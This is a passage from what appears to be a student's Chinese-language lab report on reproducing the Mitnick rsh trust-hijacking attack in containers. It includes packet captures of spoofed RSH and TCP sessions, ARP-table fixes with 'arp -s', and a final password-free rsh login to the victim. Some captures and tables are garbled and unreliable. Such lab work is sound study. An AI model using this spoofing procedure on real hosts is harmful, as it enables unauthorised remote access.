| | 9 2023-05-06 03:36:18.9252 | 02:42:0a:09:00:05 | 02:42:ac:7d:c1:f8 | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 10 2023-05-06 03:36:18.9412 | 10.9.0.6 | 10.9.0.5 | RSH | 88 Session Establishment |
| | 11 2023-05-06 03:36:18.9412 | 10.9.0.5 | 10.9.0.6 | TCP | 54 514 → 1023 [ACK] Seq=1141593106 Ack=1314555 Win=64206 Len=0 |
| | 12 2023-05-06 03:36:18.9436 | 10.9.0.5 | 192.168.60.2 | DNS | 81 Standard query 0xa971 PTR 6.0.9.10.in-addr.arpa |
| | 13 2023-05-06 03:36:18.9525 | 02:42:ac:7d:c1:f8 | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| | 14 2023-05-06 03:36:18.9525 | 02:42:0a:09:00:05 | 02:42:ac:7d:c1:f8 | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 15 2023-05-06 03:36:18.9526 | 192.168.60.2 | 10.9.0.5 | DNS | 104 Standard query response 0xa971 PTR 6.0.9.10.in-addr.arpa PTR localhost |
| | 16 2023-05-06 03:36:18.9531 | 10.9.0.5 | 10.9.0.6 | TCP | 74 1023 - 9090 [SYN] Seq=2871726066 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3414260590 TS |
| | 17 2023-05-06 03:36:19.9796 | 10.9.0.5 | 10.9.0.6 | TCP | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=2871726066 Win=64240 Len=0 MSS=1460 SACK_PERM= |
| | 18 2023-05-06 03:36:21.9957 | | | | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=2871726066 Win=64240 Len=0 MSS=1460 SACK_PERM= |
| | 19 2023-05-06 03:36:24.0123 | 02:42:0a:09:00:05 | 02:42:ac:7d:c1:f8 | ARP | 42 Who has 10.9.0.1? Tell 10.9.0.5 |
| | 20 2023-05-06 03:36:24.0123 | 02:42:ac:7d:c1:f8 | 02:42:0a:09:00:05 | ARP | 42 10.9.0.1 is at 02:42:ac:7d:c1:f8 |
| | 21 2023-05-06 03:36:26.0597 | 10.9.0.5 | 10.9.0.6 | TCP | 74 [TCP Retransmission] 1023 → 9090 [SYN] Seq=2871726066 Win=64240 Len=0 MSS=1460 SACK PERM= |
| | 22 2023-05-06 03:36:34.2522 | 10.9.0.5 | 10.9.0.6 | | 74 TCP Retransmission 1023 → 9090 SYN Seg=2871726066 Win=64240 Len=0 MSS=1460 SACK_PERM |
| | 23 2023-05-06 03:36:34.2850 | 02:42:ac:7d:c1:f8 | Broadcast | ARP | 42 Who has 10.9.0.5? Tell 10.9.0.1 |
| | 24 2023-05-06 03:36:34.2850 | 02:42:0a:09:00:05 | 02:42:ac:7d:c1:f8 | ARP | 42 10.9.0.5 is at 02:42:0a:09:00:05 |
| | 25 2023-05-06 03:36:34.3051 | 10.9.0.6 | 10.9.0.5 | TCP | 54 9090 → 1023 [SYN, ACK] Seq=2871726066 Ack=2871726067 Win=64240 Len=0 |
| | 26 2023-05-06 03:36:34.3052 | 10.9.0.5 | 10.9.0.6 | TCP | 54 1023 → 9090 [ACK] Seg=2871726067 Ack=2871726067 Win=64240 Len=0 |
| | 27 2023-05-06 03:36:34.3068 | 10.9.0.5 | 10.9.0.6 | RSH | 55 Server username:seed Server -> Client Data |
| | 28 2023-05-06 03:36:34.3083 | 10.9.0.5 | 10.9.0.6 | TCP | 54 1023 → 9090 [FIN, ACK] Seq=2871726067 Ack=2871726067 Win=64240 Len=0 |
| | 29 2023-05-06 03:36:34.3084 | | 10.9.0.6 | RSH | 77 Server username:seed Server -> Client Data |
| | 30 2023-05-06 03:36:34.5082 | | 10.9.0.6 | TCP | 55 [TCP Out-Of-Order] 514 - 1023 [PSH, ACK] Seq=1141593106 Ack=1314555 Win=64206 Len=1 |
| | 31 2023-05-06 03:36:34 5121 | | 10 9 0 6 | TCP | 54 [TCP Petransmission] 1023 - 9090 [EIN ACK] Sec. 2871726067 Ack 2871726067 Win = 64240 Len = 6 |


但是我得到的结果显示并没有成功执行想要的指令,再检查一次X容器中的表项,发现在关闭服务器的状态下又出现了最开始遇到的问题,这导致X容器中没有关于受信任服务器的相关信息,我们的攻击失效,如下图所示。

| | | - | |
|--------|---|--|--|
| | | | |
| HWtype | HWaddress | Flags Mask | Iface |
| ether | 02:42:0a:09:00:06 | CM | eth0 |
| ether | 02:42:5e:7a:97:a9 | C | eth0 |
| | | | |
| HWtype | HWaddress | Flags Mask | Iface |
| ether | 02:42:0a:09:00:06 | CM | eth0 |
| ether | 02:42:5e:7a:97:a9 | C | eth0 |
| | | | |
| HWtype | HWaddress | Flags Mask | Iface |
| ether | 02:42:0a:09:00:06 | CM | eth0 |
| ether | 02:42:5e:7a:97:a9 | С | eth0 |
| | | | |
| HWtype | HWaddress | Flags Mask | Iface |
| ether | 02:42:0a:09:00:06 | CM | eth0 |
| ether | 02:42:5e:7a:97:a9 | C | eth0 |
| | | | |
| | HWtype ether HWtype ether ether HWtype ether HWtype ether | HWtype ether 02:42:0a:09:00:06 ether 02:42:5e:7a:97:a9 HWtype HWaddress ether 02:42:0a:09:00:06 ether 02:42:5e:7a:97:a9 HWtype HWaddress ether 02:42:0a:09:00:06 ether 02:42:5e:7a:97:a9 HWtype ether 02:42:0a:09:00:06 ether 02:42:5e:7a:97:a9 | HWtype ether 02:42:0a:09:00:06 CM ether 02:42:5e:7a:97:a9 C HWtype ether 02:42:0a:09:00:06 CM ether 02:42:0a:09:00:06 CM ether 02:42:5e:7a:97:a9 C HWtype ether 02:42:0a:09:00:06 CM ether 02:42:5e:7a:97:a9 C HWtype ether 02:42:5e:7a:97:a9 C HWtype ether 02:42:0a:09:00:06 CM ether 02:42:0a:09:00:06 CM |

断开虚拟机的网络之后可以在X容器中保留静态的受信任服务器相关信息(上图下半部分),但是在进行抓包时发现连接不上时X容器将发送RST,同样导致连接失败。



为了能够完成这次LAB,我再一次走出了宿舍,到三教进行重复操作,成功实现攻击,如下图所示



root@c2c74b5a57c9:/# arp Address Iface HWtype HWaddress Flags Mask trusted-server-10.9.0.6 ether 02:42:0a:09:00:06 eth0 root@c2c74b5a57c9:/# arp -s 10.9.0.6 02:42:0a:09:00:06 root@c2c74b5a57c9:/# arp Address HWtype HWaddress Flags Mask Iface trusted-server-10.9.0.6 ether 02:42:0a:09:00:06 eth0 CM root@c2c74b5a57c9:/# su seed seed@c2c74b5a57c9:/\$ cd seed@c2c74b5a57c9:~\$ cat .rhosts seed@c2c74b5a57c9:~\$

在攻击者容器中进行rsh、安装后攻击如下、不需要输入任何密码

root@VM:/# apt-get -y install rsh-redone-client
Reading package lists... Done
Building dependency tree
Reading state information... Done
rsh-redone-client is already the newest version (85-2build1).
0 upgraded, 0 newly installed, 0 to remove and 107 not upgraded.
root@VM:/# su seed
seed@VM:/# rsh 10.9.0.5
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

seed@c2c74b5a57c9:~\$